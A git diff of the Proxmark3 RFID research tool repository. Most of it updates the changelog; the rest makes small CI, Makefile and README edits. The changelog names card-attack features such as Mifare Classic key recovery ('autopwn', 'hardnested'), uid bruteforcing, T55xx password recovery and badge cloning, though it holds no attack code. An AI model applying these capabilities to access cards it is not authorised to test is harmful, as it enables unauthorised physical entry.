diff --git a/.gitignore b/.gitignore index 348195eba..349ef5efb 100644 --- a/.gitignore +++ b/.gitignore @@ -20,12 +20,15 @@ *.dll *.moc.cpp *.z +*.gz *.Td *.DS_Store *.exe *.dsym version.c *.json +*.old +*.swp # new build file for add-ons. Makefile.platform diff --git a/.travis.yml b/.travis.yml index c75bffe9b..1cb60f8e9 100644 --- a/.travis.yml +++ b/.travis.yml @@ -33,9 +33,11 @@ addons: packages: - gcc-arm-none-eabi - libnewlib-dev + - libsndfile1-dev homebrew: packages: - readline + - libsndfile - qt5 - RfidResearchGroup/proxmark3/arm-none-eabi-gcc taps: RfidResearchGroup/proxmark3 diff --git a/CHANGELOG.md b/CHANGELOG.md index 89a04d651..8a36b58da 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,201 +3,244 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] - - Fix hf list felica and hf felica sniff (@7homasSutter) - - Added hf felica wrunencrypted (@7homasSutter) - - Added hf felica rdunencrypted (@7homasSutter) - - Added hf felica rqresponse (@7homasSutter) - - Added hf felica rqservice (@7homasSutter) + - Added `hf lto restore` - restore LTO cartridge memory from dump file [.bin|.eml] (@Kevin-Nakamoto) + - Added `LF_ICEHID` standalone mode which searches for lf HID credentials and store to RDV4 flashmem (@iceman1001) + - Added `HF_14ASNIFF` standalone mode with storing trace to RDV4 flashmem (@micolous) + - Added `hf lto dump` - dump 8160 bytes of data from LTO cartridge memory and save to file (@Kevin-Nakamoto) + - Change `data plot` - write serial port name in window title for plot / slider window (@iceman1001) + - Added `hf lto wrbl` - write block support for LTO Cartridge memory (@Kevin-Nakamoto) + - Fix compilation under openSUSE (@hsanjuan) + - Added `lf nexwatch sim` - use raw hex to simulate (@iceman1001) + - Fix `lf indala read` - long id 224bits preamble identification less strict (@iceman1001) + - Added `hf mf staticnested` - useful when targeting the strange cards with a static nonce. (@iceman100) Thanks to @xtigmh @uzlonewolf for their solutions. + - Added `hf plot` (@pwpiwi) + - Fix `lf config` - when called with no params, it no longer mess up all device lf config settings. (@iceman1001) + - Change `lf indala clone` - new option `--Q5` writes to q5/T5555 tags. (@iceman1001) + - Change `lf indala clone` - new option `-c ` allows cloning INDALA tag from Heden2L/Hedengren ID format (@iceman1001) - Thanks to @randomdude42 for solution + - Change `lf indala demod` - added decode Heden2L/Hedengren format (@iceman1001) - Thanks to @randomdude42 for solution + - Added `commands.md` - document with all proxmark client commands. Generated with XX_internal_command_dump_markdown_XX. (@iceman1001) + - Change `lf pac clone` - new option `c ` to allow cloning PAC/Stanley tag from card ID (@danshuk) + - Change `lf pac read` - decoded PAC/Stanley card ID (@danshuk) + - Change mifare classic keytable output refactored and uses colors (@iceman1001) + - Fix `hf mf nested` - now writes the correct blockno (@iceman1001) + - Change `lf t55xx dump` - now supports saving to JSON (@iceman1001) + - Change `hf mf chk | fchk` faster authentication by lower timeout limit. (@pwpiwi) + - Change `hf mf hardnested` - now detects "static / fixed" nonce tags and exits (@iceman1001) + - Change `hf mf csave` - now uses UID in filename (@iceman1001) + - Fix `hf mf chk` - read block B logical error. #489 (@iceman1001) + - Added `hf mf ekeyprn d` - new parameter to save keys to file (@iceman1001) + - Added `mfu_magic.lua` - script to interact with your magic NTAG tag. (@iceman1001) + - Added `hf_bruteforce.lua` - script bruteforces uid for 14a using hf 14a sim (@keld) + - Added `tools\pm3_cs8.pl` - convert .pm3 files to wave format (@samyk) + - Added `tools\pm3_amii_bin2eml.pl` - amiibo convering script (@samyk) + - Change `hf 14a info` - now detects "static / fixed" nonce tags (@iceman1001) + - Change `data save f w` - params reworked. (@iceman1001) + - Change `hf search` - now should detect LTO-CM tags (@iceman1001) + - Added `hf lto info` - skeleton support for LTO Cartridge memory (@iceman1001) + - Added saving as wave format (@anon) + - Added ISO15_WRITE annotation (@pwipiw) + - Added `lto_dump.lua` @kevin + - Added `hf mf cwipe` magic chinese card (gen1a) wipe to default state (@merlokk) + - Added `pm3_mf7b_wipe.py` python script. Wipes magic S70 7B Gen2 card. (@vulnersCom) + - Added `hf mfp chk` Mifare plus command for check keys from public keys list, from dictionary or 1 and 2-byte bruteforce (@merlokk) + - Change `hf 15` - some refactoring (@grspy) + - Added `hf 15 writeafi` and `hf 15 writedsfid` (@grspy) + - Added detailed info for SLIX2 tags in `hf 15 info` (@grspy) + - Fix `hf list felica` and `hf felica sniff` (@7homasSutter) + - Added `hf felica wrunencrypted` (@7homasSutter) + - Added `hf felica rdunencrypted` (@7homasSutter) + - Added `hf felica rqresponse` (@7homasSutter) + - Added `hf felica rqservice` (@7homasSutter) - Added polling for felica standard (@7homasSutter) - - Added lf t55xx dump save and lf t55xx restore for .bin and .eml files (@mwalker33) - - Added lf t55xx detected to try without password first (@mwalker33) - - Chg `lf indala read` - added indala 26bit decoding (@martinbeier) - - Chg `lf t55xx detect` to try without password first (@mwalker33) + - Added `lf t55xx dump save` and `lf t55xx restore` for .bin and .eml files (@mwalker33) + - Added `lf t55xx detected` to try without password first (@mwalker33) + - Change `lf indala read` - added indala 26bit decoding (@martinbeier) + - Change `lf t55xx detect` to try without password first (@mwalker33) - Display high bit for detected Kastle HIDs to allow `lf hid clone [id]` to work properly (@swg0101) - - Add option `-n` to scripts pm3* (@doegox) - - Add `wiegand list/encode/decode` - wiegand format manipulation. Adapted to fit here. (@grauerfuchs) + - Added option `-n` to scripts pm3* (@doegox) + - Added `wiegand list/encode/decode` - wiegand format manipulation. Adapted to fit here. (@grauerfuchs) - Added support for color text on windows 10 (@mwalker33) - Added `s` to `lf config` / `lf sniff` to skip samples when sniffing based on same option in Proxmark/proxmark3 by @marshmellow42. (@mwalker33) - Added save to .eml and .bin for `em 4x05_dump` (@mwalker33) - - Add option `-n` to scripts pm3* (@doegox) + - Added option `-n` to scripts pm3* (@doegox) - Fix `em 4x05_dump` to print all blocks read (@mwalker33) - Fix T55xx config getting displayed when using password when no password needed on read. (@mwalker33) - Added T55x7 downlink mode auto usage via mode detected (lf t55 detect) (@mwalker33) - - Add `lf t55xx protect` - sets password and enables password protection on t55x7 tag (@iceman1001) - - Chg `lf t55xx wipe` - now accepts user provided configuration block (@iceman1001) + - Added `lf t55xx protect` - sets password and enables password protection on t55x7 tag (@iceman1001) + - Change `lf t55xx wipe` - now accepts user provided configuration block (@iceman1001) - Added T55x7 downlink mode support r 0 Default, 1 Long Leading 0, 2 Leading 0, 3 1 of 4 and 4 (in some commands) try all. (@mwalker33) - - Chg proxmark3-flasher is now merged into proxmark3 client. Add pm3-flash (@doegox) - - Chg `hf iclass clone\dump\rdbl\wrbl` - now uses NG (@iceman1001) + - Change proxmark3-flasher is now merged into proxmark3 client. Add pm3-flash (@doegox) + - Change `hf iclass clone\dump\rdbl\wrbl` - now uses NG (@iceman1001) - Fix `hf iclass clone` - last block always fails (@iceman1001) - - Chg `hf iclass clone` - retries ten times, less output (honor verbose) (@iceman1001) - - Chg `hf iclass dump` - retries ten times, less output (honor verbose) (@iceman1001) + - Change `hf iclass clone` - retries ten times, less output (honor verbose) (@iceman1001) + - Change `hf iclass dump` - retries ten times, less output (honor verbose) (@iceman1001) - Rename `hf iclass writeblk` -> `hf iclass wrbl` to match hf mf wrbl (@iceman1001) - Rename `hf iclass readblk` -> `hf iclass rdbl` to match hf mf rdbl (@iceman1001) - - Add cmdscript example and show usage with shebang (@doegox) - - Add instructions for Fedora (@doegox) - - Chg reduce the list of requirements to the minimum and move to QT5 (@doegox) - - Add `make install` and reorganize/rename stuffs accordingly (@doegox) - - Add searchFile for several types of files (@doegox / @iceman1001) - - Chg posix sh version of mkversion (@doegox) - - Chg remove entirely ncurses, not needed nowadays (@doegox) - - Chg remove deprecated termcap, use ncurses instead (@ZeroChaos-) - - Chg `hf iclass encrypt` - now takes transport key as param. (@iceman1001) - - Chg `hf iclass decrypt` - now takes transport key as param. (@iceman1001) - - Chg `hf mf fchk m` - now secretly dumps card to emul, if all keys are found (@iceman1001) - - Chg history and logfile are now saved into $HOME/.proxmark3/ (@doegox) - - Chg optimization of iclass mac calculations on deviceside (@pwpiwi) - - Add `hf mf autopwn` - Autopwn function for Mifare Classic, extract all keys and dump card memory (@matthiaskonrath) - - Add Lua paths: look for scripts also in ~/.proxmark/lua{scripts,libs} and /usr/local/share/proxmark3/lua{scripts,libs} (@doegox) + - Added cmdscript example and show usage with shebang (@doegox) + - Added instructions for Fedora (@doegox) + - Change reduce the list of requirements to the minimum and move to QT5 (@doegox) + - Added `make install` and reorganize/rename stuffs accordingly (@doegox) + - Added searchFile for several types of files (@doegox / @iceman1001) + - Change posix sh version of mkversion (@doegox) + - Change remove entirely ncurses, not needed nowadays (@doegox) + - Change remove deprecated termcap, use ncurses instead (@ZeroChaos-) + - Change `hf iclass encrypt` - now takes transport key as param. (@iceman1001) + - Change `hf iclass decrypt` - now takes transport key as param. (@iceman1001) + - Change `hf mf fchk m` - now secretly dumps card to emul, if all keys are found (@iceman1001) + - Change history and logfile are now saved into $HOME/.proxmark3/ (@doegox) + - Change optimization of iclass mac calculations on deviceside (@pwpiwi) + - Added `hf mf autopwn` - Autopwn function for Mifare Classic, extract all keys and dump card memory (@matthiaskonrath) + - Added Lua paths: look for scripts also in ~/.proxmark/lua{scripts,libs} and /usr/local/share/proxmark3/lua{scripts,libs} (@doegox) - Change Lua directory scripts/ to luascript/ (@doegox) - Change non-rdv4 PLATFORM must now use the generic PM3OTHER, simpler (@doegox) - Fix reveng integration for all platforms else than WIN32 (@doegox) - - Add cheat sheet for easy operations of the Proxmark3 (scund00r) + - Added cheat sheet for easy operations of the Proxmark3 (scund00r) - Chg commands are now in green in the helptext list (@iceman1001) - Fix `script run ndefdump` - better exit messages when failing (@iceman1001) - Fix `hf iclass dump` - now also saves in EML format (@iceman1001) - Fix `hf iclass sim 3` - now works on legacy readers and legacy SE readers (@iceman1001) - Rework hitag2 read/write help (@ViRb3) - - Add `lf nedap` - encoding / decoding (anon) - - Add client option `-i` to stay in interactive mode after a script or command (@DidierStevens/@doegox) - - Add VSCode tasks (@ViRb3) + - Added `lf nedap` - encoding / decoding (anon) + - Added client option `-i` to stay in interactive mode after a script or command (@DidierStevens/@doegox) + - Added VSCode tasks (@ViRb3) - Better warn user of hardcoded hitag info (@ViRb3) - Format and docs hitag (@ViRb3) - Fix hitag password write offset by 1 (@ViRb3) - Fix momentarily flash read/write of dicts (@doegox/@cjbrigato) - - Add some more default keys (@anon) - - Add `hf thinfilm sim` simulating Thinfilm NFC barcode tags (@doegox) - - Add `hf thinfilm list` specific trace decoding (Thinfilm NFC barcode tags) (@doegox) + - Added some more default keys (@anon) + - Added `hf thinfilm sim` simulating Thinfilm NFC barcode tags (@doegox) + - Added `hf thinfilm list` specific trace decoding (Thinfilm NFC barcode tags) (@doegox) - Fix `hf topaz reader` - don't crash when trying to read a Thinfilm tag (@iceman1001) - - Add `hf thinfilm info` - read / decode Kovio Thinfilm NFC barcode tags (@iceman1001) - - Add FPGA LF adc path (@anon) - - Add ECC support / check for NID_secp128r1 (@pwpiwi) - - Add some more default keys (ollibolli) + - Added `hf thinfilm info` - read / decode Kovio Thinfilm NFC barcode tags (@iceman1001) + - Added FPGA LF adc path (@anon) + - Added ECC support / check for NID_secp128r1 (@pwpiwi) + - Added some more default keys (ollibolli) - Fix T55x7 Downlink timings backward compatible (@mwalker33) - - Add proper Makefile halting when using incompatible STANDALONE and PLATFORM vars (@doegox) - - Add T55x7 Downlink mode support (@mwalker33) - - Add SPIFFS Flash filesystem support (@cjbrigato) + - Added proper Makefile halting when using incompatible STANDALONE and PLATFORM vars (@doegox) + - Added T55x7 Downlink mode support (@mwalker33) + - Added SPIFFS Flash filesystem support (@cjbrigato) - Fix support for flashing 512K units with old bootrom (@slurdge/@doegox) - Fix `hf mf sim` - wrong access rights to write key B in trailer (@McEloff) - - Add option -i to flasher to query Pm3 for its memory size (@doegox) - - Add support for flashing 512K units (@slurdge) - - Add a simple python tool to check the elf sizes (@slurdge) + - Added option -i to flasher to query Pm3 for its memory size (@doegox) + - Added support for flashing 512K units (@slurdge) + - Added a simple python tool to check the elf sizes (@slurdge) - Change: new keys for Vigik badges in default_keys.dict (@luminouw) - - Add `hw standalone` to jump to standalone mode from command line or script (@doegox) - - Add to `hf 14a apdu` print apdu and compose apdu (@merlokk) + - Added `hw standalone` to jump to standalone mode from command line or script (@doegox) + - Added to `hf 14a apdu` print apdu and compose apdu (@merlokk) - Change: buggy `mem read` removed, `mem save` renamed `mem dump`, can now display too (@doegox) - Fix: timeout for mem wipe was too short, thanks @cjbrigato (@doegox) - Fix `hf mf sim` - Mifare Classic simulation more flexible anti-collision check (@McEloff) - Change: `hf mf sim` - Mifare Classic simulation not respond NACK on invalid authentication request (@McEloff) - Change: `read_pwd_mem.lua` now handles Mifare Classic dictionaries large than 4096 bytes (@iceman1001) - Change: Do not clear trace log during `hf mf chk`, to save whole process history (@McEloff) - - Add `msleep` command, for pauses in scripts (@doegox) - - Add support for WSL in proxmark.sh (@doegox) - - Add documentation for usage of Proxmark3 under WSL (@doegox) + - Added `msleep` command, for pauses in scripts (@doegox) + - Added support for WSL in proxmark.sh (@doegox) + - Added documentation for usage of Proxmark3 under WSL (@doegox) - Change: replace aes.c with mbedtls version (@slurdge) - Change: replace ukbhit by kbd_enter_pressed, not requiring tcgetattr (@xianglin1998/@doegox) - - Add config for RaspberryPi in JTAG tools (@doegox) - - Add config for FTDI C232HM-DDHSL-0 in JTAG tools (@doegox) + - Added config for RaspberryPi in JTAG tools (@doegox) + - Added config for FTDI C232HM-DDHSL-0 in JTAG tools (@doegox) - Fix compilation under MacOSX with binutils (@matrix) - - Add dynamic report of the chipID for flashing purposes (@slurdge) + - Added dynamic report of the chipID for flashing purposes (@slurdge) - Fix Clang warnings (@matrix) - Fix EMVGPO bug (@matrix) - - Add hitag2 write password auth (@ViRb3) - - Add check if bootloader segment is within bounds (@slurdge) - - Add `hf 15 csetuid` - set UID on ISO-15693 Magic tags (@t0m4-null) + - Added hitag2 write password auth (@ViRb3) + - Added check if bootloader segment is within bounds (@slurdge) + - Added `hf 15 csetuid` - set UID on ISO-15693 Magic tags (@t0m4-null) - Change: Print help if unknown arg for hitag reader/writer (@ViRb3) - Fix clock deadlock in hitag sniff (@ViRb3) - - Add compiler info in client & ARM sections (@slurdge) - - Add support for automatic COM detection on Windows (@slurdge) - - Add support for compilation on RaspberryPiZero (armv6) (@doegox) + - Added compiler info in client & ARM sections (@slurdge) + - Added support for automatic COM detection on Windows (@slurdge) + - Added support for compilation on RaspberryPiZero (armv6) (@doegox) - Change: updates to README (@iceman1001) - Change: `hf mf/mfu dbg` => `hw dbg` (@doegox) - Change: replace usb_poll_validate_length() by data_available() that supports USART too (@doegox) - Make sure standalone modes can be launched when connected on USB without client (@doegox) - Change: cleaner makefile execution, use `make V=1` if you want to see full lines (@doegox) - Change: automate make clean when platform definitions are changed (@doegox) - - Add STANDALONE option to Makefile.hal (@Fl0-0) + - Added STANDALONE option to Makefile.hal (@Fl0-0) - Change: mem info - production public key to verify rdv4.0 flash signature (@iceman1001) - Fix specify that we need TCP and not UDP connection (@phcoder) - Change: lf cotag demod - adjusted error trigger (@iceman1001) - - Add documentation on BT add-on (@iceman1001/@doegox) + - Added documentation on BT add-on (@iceman1001/@doegox) - Change: new button behaviour in bootloader mode, no need to keep it pressed, press again to interrupt (@doegox) - Change: new keys in dicts, new mem layout to accomodate them (@iceman1001/various) - Fix lf sim - if called with empty graphbuffer all strange things happend, like turning on HF field (@iceman1001) - Change: hf 14a sim / hf mf sim - check buttonpress/usb frame fewer times in order not to disrupt simulation (@McEloff) - Change: data convertbitstream - converts bit to max/min in order to facilitate demodulation of simulation data (@iceman1001) - Change: lf em 410x_demod - now can demod the simulation data (@iceman1001) - - Add HC-06 scripts for BT add-on (@doegox) + - Added HC-06 scripts for BT add-on (@doegox) - Fix lf nedap sim - error when adding parity (@iceman1001) - - Add documentation on UART and baudrates (@doegox/@iceman1001) + - Added documentation on UART and baudrates (@doegox/@iceman1001) - Change: prompt now shows which channel is used (@iceman1001) - Change: USART baudrates computation, up to 6Mbps (@iceman1001/@doegox) - Change: hf mf nack - keep sync if started without card over antenna - - Add usart btfactory - to reset a misconfigured BT add-on (@doegox) + - Added usart btfactory - to reset a misconfigured BT add-on (@doegox) - Change: hw status - now prints number of dictionary keys loaded (@iceman1001) - - Add home, end, pageup, and pagedown keybinds to the plot GUI. Also fix paged movement in GUI. (@mcd1992) + - Added home, end, pageup, and pagedown keybinds to the plot GUI. Also fix paged movement in GUI. (@mcd1992) - Change legic.lua saves data in EML and BIN formats (@iceman1001) - Change hf tune - is now synchronous (for BT add-on) and can be interrupted by kbd (@doegox) - Change: update macOS install instruction (@ Uli Heilmeier) - - Add trace ouput in hexdump format for Wireshark import (@ Uli Heilmeier) - - Add usart btpin - to change BT add-on PIN (@doegox) - - Add reconnection support (@iceman1001/@doegox) - - Add usart tx/rx/... - USART developer commands (@doegox) - - Add PLATFORM_EXTRAS, WITH_FPC_USART_HOST, BTADDON Makefile configuration (@doegox) + - Added trace ouput in hexdump format for Wireshark import (@ Uli Heilmeier) + - Added usart btpin - to change BT add-on PIN (@doegox) + - Added reconnection support (@iceman1001/@doegox) + - Added usart tx/rx/... - USART developer commands (@doegox) + - Added PLATFORM_EXTRAS, WITH_FPC_USART_HOST, BTADDON Makefile configuration (@doegox) - Fix slow reconfigure on mingw of serial port (@iceman1001) - Fix cross thread communictions of timeout variable (@iceman1001) - Change: client is now "universal", adapting to Proxmark3 capabilities (@doegox) - - Add disconnect support to Lua (@iceman1001) + - Added disconnect support to Lua (@iceman1001) - Change: handles FPC/FLASH FW more gracefully on non-RDV4 pm3 (@doegox) - - Add JTAG support for Shikra (@NinjaStyle82) + - Added JTAG support for Shikra (@NinjaStyle82) - Change: smart color handling: only if linux and on real term (@doegox) - Change: reconfigure uart timeouts when compiled for FPC and connecting over USB (@iceman1001) - Change: fast push for many commands (@iceman1001/@doegox) - - Add: fast push for Lua (@iceman1001) - - Add NDEF parser in Lua (@iceman1001) + - Added: fast push for Lua (@iceman1001) + - Added NDEF parser in Lua (@iceman1001) - Change: improve NDEF parser (@iceman1001) - Change: all commands got migrated to MIX/NG packet format (@iceman1001/@doegox) - Fix: Mifare Ultralight read block missing bytes (@doegox) - - Add support new frame format in all Lua scripts (@iceman1001) - - Add CMD_CAPABILITIES for pm3 to inform dynamically the client (@doegox) + - Added support new frame format in all Lua scripts (@iceman1001) + - Added CMD_CAPABILITIES for pm3 to inform dynamically the client (@doegox) - Change baudrate handling, make it clear it is only indicative for USB-CDC & BT (@doegox) - Change: new progressive light scheme for `hw detectreader` (@doegox) - - Add common error definitions system for retvals (@doegox) + - Added common error definitions system for retvals (@doegox) - Change USART RX & TX code and fix delays handling to make it more robust, especially over BT (@doegox) - - Add support for new frames format, speedup & huge changes, see doc/new_frame_format.txt (@doegox) + - Added support for new frames format, speedup & huge changes, see doc/new_frame_format.txt (@doegox) - Change: loadFile* & saveFile* accept filenames with (or still without) extension (@doegox) - Fix LoadEML to accept final "\n", e.g. from pm3_mfd2eml.py (@doegox) - Change: rework shell scripts for easy client or flasher (@doegox) - Fix: stop poking Internet when compiling (@doegox) - - Add support for multiple commands to "-c", e.g. proxmark3 -c "hw ping;hw version" (@doegox) + - Added support for multiple commands to "-c", e.g. proxmark3 -c "hw ping;hw version" (@doegox) - Fix external flash writing bitflips issues at 24MHz (@doegox) - - Add color support to Dbprintf & alike and rework Dbprintf flags (@doegox) + - Added color support to Dbprintf & alike and rework Dbprintf flags (@doegox) - Change: archive (and fix) hid-flasher (@doegox) - - Add standalone placeholder to simplify new standalone integration (@doegox) + - Added standalone placeholder to simplify new standalone integration (@doegox) - Change: refactor standalone mode info string (@iceman1001) - - Add iceman skeleton standalone mode for ppl to use as base for their new modes (@iceman1001) + - Added iceman skeleton standalone mode for ppl to use as base for their new modes (@iceman1001) - Change: move compilation options to Makefile.hal (@doegox) - Fix compilation under OSX (@iceman1001) - - Add openocd config files for JLink (@doegox) + - Added openocd config files for JLink (@doegox) - Fix compilation dependencies for recovery (@doegox) - Fix segfault when loading a file (@doegox) - Change/Add new dump format for Ultralight/NTAG, counters support, simulation (@mceloff) - - Add `hf mf sim` full-byte split anticollision support (@mceloff) + - Added `hf mf sim` full-byte split anticollision support (@mceloff) - Fix/Add `hf mf sim` bugs fix, RATS support, etc (@mceloff) - Fix serial of FPC. (@ryan) - Fix `data shiftgraphzero` corrupting end of GraphBuffer (@doegox) - Fix `hf legic info` - unsegmented card now uses card size to calc remaining length (@iceman1001) - - Add 36bit HID format, extend calcWiegand() to include oem bits (@davidbeauchamp) + - Added 36bit HID format, extend calcWiegand() to include oem bits (@davidbeauchamp) - Fix `hf mf hardnested` - not verify key when reading nonce file (@iceman1001) - Change optimizations for ask/bi (@iceman1001) - Fix `hf mf sim` - bugs fix, refactoring (@mceloff) - - Add WRITE and COMPATIBLE_WRITE support to Mifare Ultralight/NTAG simulation (@mceloff) + - Added WRITE and COMPATIBLE_WRITE support to Mifare Ultralight/NTAG simulation (@mceloff) - Change installation instructions and add video links (@5w0rdfish) - Change `hf mf sim` to support more types (@vratiskol) - Change better strong wave detection for biphase (@iceman1001) - - Add `script run test_t55x7` (@iceman1001) - - Add new lua scripting support for some t55xx commands (@iceman1001) - - Add FPC USART for BT add-on with pm3 client. (@doegox) - - Add `-b baudrate` option to the pm3 client. (@doegox) + - Added `script run test_t55x7` (@iceman1001) + - Added new lua scripting support for some t55xx commands (@iceman1001) + - Added FPC USART for BT add-on with pm3 client. (@doegox) + - Added `-b baudrate` option to the pm3 client. (@doegox) - Change `lf t55xx info`: tell if known configuration block0. (@iceman1001) - Fix/Add FPC usart: fix TX, bring RX, full speed. (@doegox) - Change `lf t55xx config` options: allow to toggle on/off i/q5/st @@ -207,7 +250,7 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac - Fix Indala 64 on T55xx: use PSK1. (@doegox) - Force proper Linefeed (LF) handling in ProxSpace. (@vratiskol) - Fix Makefiles race conditions to allow parallel compilation, e.g. `make -j8`. (@doegox) - - Add - dictionary key file for MFU. (not in use at the moment) (@mazodude) + - Added - dictionary key file for MFU. (not in use at the moment) (@mazodude) - Change `lf fdx demod` - better biphase maxerrors. (@MalteHillmann) - Change `hf mf sim` - now works better against android (@mceloff) - Fix `lf t55xx brute` - now works after aquiredata adaptations (@iceman1001) @@ -215,7 +258,7 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac - Fix `lf t55xx recoverpwd` - now works after aquiredata adaptations (@iceman1001) - Fix `data detect p` - reverted bad clock detection (@iceman1001) - Change `data detect a` - better clock detection (@iceman1001) - - Add `hf 14a info` - now detects some magic card Gen2 (@iceman1001) + - Added `hf 14a info` - now detects some magic card Gen2 (@iceman1001) - Removed `LCD` code in armsrc compilation (@iceman1001) - Change - Generic fixes of codestyle (@doegox) (@iceman1001) - Change `lf indala demod` - refactoring (@iceman1001) @@ -225,7 +268,7 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac - Fix `data rawdemod am` - last bit was missing (@doegox) - Fix `hf 15 dump f` - also selects tag first (@iceman1001) - Fix `hf iclass clone` - missing fileclose (@iceman1001) - - Add `trace list hitag` - old hitag annotations now use the new trace (@iceman1001) + - Added `trace list hitag` - old hitag annotations now use the new trace (@iceman1001) - Change `lf hitag sim` - loads bin/eml/json (@iceman1001) - Change `lf hitag reader 21` - saves in bin/eml/json (@iceman1001) - Change `lf hitag` - refactoring (@iceman1001) @@ -244,12 +287,12 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac - Fix `mem write` - added extra check (@doegox) - Fix `iso15693` - bad string cpy (@doegox) - Fix `make style` - EOF LF support (@doegox) - - Add `hf 14b raw` - added -t for timeout (@iceman1001) + - Added `hf 14b raw` - added -t for timeout (@iceman1001) - Rename `lf hitag snoop` - renamed to `lf hitag sniff` (@iceman1001) - Rename `lf snoop` - renamed to `lf sniff` (@iceman1001) - Rename `hf snoop` - renamed to `hf sniff` (@iceman1001) - Fix `hf mfp wrbl` - more blocks available (@merlokk) - - Add `make platform` - compile for non-rdv4 devices made simpler (@doegox) + - Added `make platform` - compile for non-rdv4 devices made simpler (@doegox) - Change Makefiles optimizations when recompiling (@doegox) - Fix `data load` - loads TITEST.txt again (@iceman1001) - Change `lf search` - now detects TI (@iceman1001) @@ -257,25 +300,25 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac - Fix `lf paradox demod` - wrong check (@iceman1001) - Change `lf t55xx` - aquiredata uses getsamples (@iceman1001) - Fix `lf search` - chipset detection restore demod buffer again (@iceman1001) - - Add `make style` (@doegox) + - Added `make style` (@doegox) - Fix mixed tabs vs spaces. Now only use 4 space as tab. (@doegox) - Fix `lf visa2000 read` - too few samples (@iceman1001) - Fix `lf t55xx bruteforce` - infinity loop (@doegox) - Fix `analyse nuid` - correct crc (@doegox) - - Add command history not repeating logged commands (@doegox) + - Added command history not repeating logged commands (@doegox) - Fix path for aidjson (@doegox) - Fix missing init i2x (@doegox) - Fix `14b select card` - (@doegox) - - Add `hf mf ndef` - parsing of NDEF messages (@merlokk) - - Add `hf mf mad` - parsing of Mifare Application Directory (@merlokk) + - Added `hf mf ndef` - parsing of NDEF messages (@merlokk) + - Added `hf mf mad` - parsing of Mifare Application Directory (@merlokk) - Rename `lf snoop` -> `lf sniff` (@iceman1001) - Rename `hf snoop` -> `hf sniff` (@iceman1001) - Change generally added more colors (@iceman1001) - Change `sc upgrade` updated firmware v3.11 (RDV40) (@sentiprox) - Change `data autocorrelate` - better visual representation and added extra peak detection (@iceman1001) - Fix `lf search` - false positive indala identification fixed (@iceman1001) - - Add `lf keri` - basic support for Keri tags (@iceman1001) - - Add `hf mf list` - re-added it again (@iceman1001) + - Added `lf keri` - basic support for Keri tags (@iceman1001) + - Added `hf mf list` - re-added it again (@iceman1001) - Fix - A lot of bugfixes, like memory leaks (@iceman1001) - Change `hf 14a antifuzz` - original implementation (@asfabw), reworked a bit - Fix `hf mf fchk` (@iceman1001) @@ -283,9 +326,9 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac - Change `lf pcf7931` - improved read code (@sguerrini97) - Change `hf felica list` - started with some FeliCa annotations (@iceman1001) - Fix `hf tune` - now works as expected (@iceman1001) - - Add `option to use flash memory to upload dictionary files` (RDV40) (@iceman1001) + - Added `option to use flash memory to upload dictionary files` (RDV40) (@iceman1001) - Fix `printing percentage now standard compliant` (@fabled) - - Add `emv roca` - command to test for ROCA vuln in public RSA modulus (@merlokk / @iceman1001) + - Added `emv roca` - command to test for ROCA vuln in public RSA modulus (@merlokk / @iceman1001) - Added TCP ports support (on linux) (@phcoder) - Added HF sniff standalone mode with optional storing of ULC/NTAG/ULEV1 authentication attempts (@bogiton) - Fix `Lining up plot and control window` (@anticat) @@ -303,7 +346,7 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac - Fix `stand-alone Colin` - remake to benefit from flashmem for persistence. (@cjbrigato) - Fix `LEGIC SIM` - remake of legic sim (@drandreas) - Changed `proxmark3 client threading` - remake from official repo (@micolous) - - Add `rem` - new command that adds a line to the log file (@didierStevens) + - Added `rem` - new command that adds a line to the log file (@didierStevens) - Fix `EM410xdemod empty tag id in lfops.c` (@Defensor7) - Fix `usb device descriptor` - some android phones will enumerate better when iSerialnumber is not a multiple of 8 (@micolous, @megabug) - Fix `StandaloneMode LF` - when collecting signal, justNoise detection is needed (@didierStevens, @Megabug) @@ -372,6 +415,8 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac - Added `hf fido` `assert` and `make` commands from fido2 protocol (authenticatorMakeCredential and authenticatorGetAssertion) (@merlokk) - Added trailer block decoding to `hf mf rdbl` and `hf mf cgetbl` (@merlokk) - Added `hf mf mad` and `hf mfp mad` MAD decode, check and print commands (@merlokk) + - Added `script run luxeodump` (@0xdrrb) + - Fix `lf hitag reader 02` - print all bytes (@bosb) ### Fixed @@ -613,9 +658,9 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac - Implemented better detection of mifare-tags that are not vulnerable to classic attacks (`hf mf mifare`, `hf mf nested`) (@pwpiwi) ### Added - - Add `hf 14b reader` to find and print general info about known 14b tags (@marshmellow42) - - Add `hf 14b info` to find and print info about std 14b tags and sri tags (using 14b raw commands in the client) (@marshmellow42) - - Add PACE replay functionality (@frederikmoellers) + - Added `hf 14b reader` to find and print general info about known 14b tags (@marshmellow42) + - Added `hf 14b info` to find and print info about std 14b tags and sri tags (using 14b raw commands in the client) (@marshmellow42) + - Added PACE replay functionality (@frederikmoellers) ### Fixed - t55xx write timing (@marshmellow42) diff --git a/Makefile.host b/Makefile.host index bfadd82b7..6d405ee14 100644 --- a/Makefile.host +++ b/Makefile.host @@ -8,6 +8,9 @@ endif ifeq ($(DEFSBEENHERE),) -include ../../Makefile.defs endif +ifeq ($(DEFSBEENHERE),) + -include ../../../Makefile.defs +endif ifeq ($(DEFSBEENHERE),) $(error Can't find Makefile.defs) endif diff --git a/README.md b/README.md index b306ad542..96a8d2693 100644 --- a/README.md +++ b/README.md @@ -1,14 +1,11 @@ # RRG / Iceman repo - Proxmark3 -This repo is based on iceman fork for Proxmark3. - -It supports RDV4.0 and other Proxmark3 platforms as well. - | Releases | Linux & OSX CI | Windows CI | Coverity | | ------------------- |:-------------------:| -------------------:| -------------------:| | [![Latest release](https://img.shields.io/github/release/RfidResearchGroup/proxmark3.svg)](https://github.com/RfidResearchGroup/proxmark3/releases/latest) | [![Build status](https://travis-ci.org/RfidResearchGroup/proxmark3.svg?branch=master)](https://travis-ci.org/RfidResearchGroup/proxmark3) | [![Build 